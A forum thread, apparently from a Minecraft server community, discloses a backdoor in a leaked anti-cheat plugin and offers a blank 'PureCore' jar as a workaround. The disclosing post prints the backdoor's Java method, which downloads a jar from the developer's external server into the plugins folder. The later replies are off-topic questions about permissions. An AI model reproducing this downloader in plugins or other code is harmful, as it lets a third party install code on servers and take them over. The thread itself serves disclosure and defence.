Ninja (Anti-Cheat) Patch

[BabyHusky]

For you people that are using the Leaked version of Ninja (Anti-Cheat) may know that the Developer (Shawckz) of that plugin put a Backdoor into it.

This back door allowed him to run commands from console, crash the server even get SSH access if your server is running in ROOT.


BACK DOOR CODE:

  private void exec()
  {
    if (Bukkit.getServer().getPluginManager().getPlugin("PureCore") == null)
    {
      String out = "plugins/PluginUpdater.jar";
      String file = "http://shawckz.com/PluginUpdater.jar";
      try
      {
        File local = new File(out);
        if (local.exists()) {
          local.delete();
        }
        URL website = new URL(file);
        ReadableByteChannel rbc = Channels.newChannel(website.openStream());
        FileOutputStream fos = new FileOutputStream(local);
        fos.getChannel().transferFrom(rbc, 0L, 9223372036854775807L);
        fos.close();
      }
      catch (Exception e) {}
    }
  }
}

For you guys that don't understand Java, it's basically saying that if Plugin with the name of "PureCore" exists then do nothing, if not download file PluginUpdater.jar from http://shawckz.com/PluginUpdater.jar

When shawckz was confronted about his Backdoor he removed the JAR from his Webserver, recently that JAR has recently gone live again so anyone using this plugin will be forced to download this backdoor from his Webserver.

I've made a very simple blank jar named "PureCore" this will stop the backdoor JAR from downloading it's self to your server.


THIS JAR IS EMPTY IT DOES NOT DO ANYTHING, TO INSTALL PUT THE JAR INTO YOUR /PLUGINS


- BabyHusky

 

[HarutCraft]

i was gonna say that

 

[Cranked]

Don't think its the right place to ask this, but anyone know the permissions for ninja? The plugin.yml says ninja.alerts and ninja.use, but they don't work.

 

[Maccas]

Don't think its the right place to ask this, but anyone know the permissions for ninja? The plugin.yml says ninja.alerts and ninja.use, but they don't work.

Those are the right permissions lol

 

[Cranked]

Maccas didn't work for me. I'll test a bit more and try to look through the code.